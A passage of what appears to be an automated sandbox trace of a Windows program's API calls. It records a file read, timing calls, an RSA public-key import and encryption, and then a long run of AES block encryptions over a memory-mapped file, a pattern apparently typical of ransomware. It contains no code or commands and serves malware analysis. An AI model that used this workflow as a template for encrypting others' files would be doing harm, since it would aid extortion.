liDistanceToMove=0x8fcac, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0158.694] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0158.730] GetTickCount () returned 0x11676fc [0158.730] GetTickCount () returned 0x11676fc [0158.730] GetTickCount () returned 0x11676fc [0158.730] GetTickCount () returned 0x11676fc [0158.730] GetTickCount () returned 0x11676fc [0158.730] GetTickCount () returned 0x11676fc [0158.730] GetTickCount () returned 0x11676fc [0158.730] GetTickCount () returned 0x11676fc [0158.730] GetTickCount () returned 0x11676fc [0158.730] GetTickCount () returned 0x11676fc [0158.730] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] GetTickCount () returned 0x11676fc [0158.731] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668c58) returned 1 [0158.732] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0158.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0158.732] CryptDestroyKey (hKey=0x1639b28) returned 1 [0158.733] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0158.733] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x901d0, lpName=0x0) returned 0x3c0 [0158.733] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x901d0) returned 0x3c00000 [0158.799] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668708) returned 1 [0158.799] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b28) returned 1 [0158.800] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0158.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0158.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, 